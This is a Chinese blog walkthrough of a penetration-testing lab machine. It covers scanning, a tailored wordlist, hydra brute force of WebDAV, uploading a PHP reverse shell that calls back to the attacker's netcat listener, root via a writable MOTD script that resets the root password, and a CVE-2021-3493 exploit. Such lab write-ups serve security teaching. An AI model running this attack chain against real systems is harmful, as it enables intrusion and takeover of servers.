当前位置:网站首页>网络安全之渗透靶场实战详解
网络安全之渗透靶场实战详解
2022-04-23 16:45:00 【InfoQ】
0x00 环境配置



0x01 主机发现/端口扫描
arp-scan -l

nmap -sV -sC -p- 192.168.26.131

0x02 信息收集
dirsearch --url http://192.168.26.131



0x03 密码字典定制
cewl http://192.168.26.131 -w 192.168.26.131dict.txt

0x04 hydra密码爆破
hydra -L 192.168.26.131dict.txt -P 192.168.26.131dict.txt 192.168.26.131 http-get /webdav -v

成功的爆破出了账号和密码,果然还是生成的专属字典比较好用。由于我们获取了webdav服务的相关认证信息,所以接下来我直接开始使用kali自带的webdav测试工具davtest进行测试,看能否传文件上去,如果可以的话,我们可以直接将webshell传到服务器上,以便getshell突破边界。
0x05 webdav漏洞
davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg

通过上图我们可以知道,我们可以通过获取到的信息凭证建立一个DAV连接,并且可以在靶机上创建目录和上传文件,而上传到上面的文件只有txt,php,html三种格式的文件可以被执行,那么到这里我们getshell的思路就有了, 直接传一个反弹shell的php文件,然后kali监听本地端口,然后访问这个文件,触发执行即可getshell。
cp /usr/share/webshells/php/php-reverse-shell.php . #将kali自带反弹shell文件拷贝到当前目录
vim php-reverse-shell.php #编辑这个文件,将ip改为kali的ip 端口改为kali的端口
davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc rev.php

通过上图可以看到,我们已经成功将反弹shell的文件上传到了靶机上,接下来kali监听本地端口,然后访问这个文件,触发执行即可getshell。
nc -lnvp 4444 #kali监听4444端口
http://192.168.26.131/webdav/rev.php #访问该链接触发执行反弹shell的代码

python3 -c "import pty;pty.spawn('/bin/bash')" #升级优化一下shell
0x06 MOTD注入提权
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
#命令解释:
从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写 如果发现了符合条件的用 ls -l命令显示 错误信息从定向到null



chitragupt



ssh [email protected]
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null


vi /etc/update-motd.d/00-header #编辑这个文件
echo 'root:123' | chpasswd #在文件末尾添加这一行,这行的意思就是,使用chpasswd命令将root用户的密码修改为123



0x07 CVE-2021-3493提权:


scp exploit.c [email protected]:/home/inferno #将exp上传到靶机

gcc exploit.c -o exploit #尝试编译exploit.c 并将编译好的文件命名为exploit


chmod +x exploit #给exploit赋予执行权限
./exploit #执行exp


版权声明
本文为[InfoQ]所创,转载请带上原文链接,感谢
https://xie.infoq.cn/article/30ebf9633fca128a01ec2c0ec
边栏推荐
- ∑GL-透视投影矩阵的推导
- 5分钟NLP:Text-To-Text Transfer Transformer (T5)统一的文本到文本任务模型
- Loading order of logback configuration file
- English | day15, 16 x sentence true research daily sentence (clause disconnection, modification)
- UWA Pipeline 功能详解|可视化配置自动测试
- Use if else to judge in sail software - use the title condition to judge
- Creation of RAID disk array and RAID5
- DanceNN:字节自研千亿级规模文件元数据存储系统概述
- The font of the soft cell changes color
- 信息摘要、数字签名、数字证书、对称加密与非对称加密详解
猜你喜欢
ByteVCharts可视化图表库,你想要的我都有
Query the data from 2013 to 2021, and only query the data from 2020. The solution to this problem is carried out
RAID磁盘阵列与RAID5的创建
loggie 源码分析 source file 模块主干分析
Selenium IDE and XPath installation of chrome plug-in
Gartner announces emerging technology research: insight into the meta universe
How magical is the unsafe class used by all major frameworks?
详解牛客----手套
LVM与磁盘配额
Cartoon: what are IAAs, PAAS, SaaS?
随机推荐
Construction of promtail + Loki + grafana log monitoring system
织梦DEDECMS安全设置指南
Cartoon: what are IAAs, PAAS, SaaS?
Easyexcel reads the geographical location data in the excel table and sorts them according to Chinese pinyin
如何用Redis实现分布式锁?
关于局域网如何组建介绍
Loggie source code analysis source file module backbone analysis
The solution of not displaying a whole line when the total value needs to be set to 0 in sail software
批量制造测试数据的思路,附源码
Phpstudy V8, a commonly used software for station construction 1 graphic installation tutorial (Windows version) super detailed
英语 | Day15、16 x 句句真研每日一句(从句断开、修饰)
05 Lua 控制结构
Sail soft segmentation solution: take only one character (required field) of a string
详解牛客----手套
PHP 零基础入门笔记(13):数组相关函数
Nacos detailed explanation, something
磁盘管理与文件系统
PyTorch:train模式与eval模式的那些坑
Oracle data pump usage
Project framework of robot framework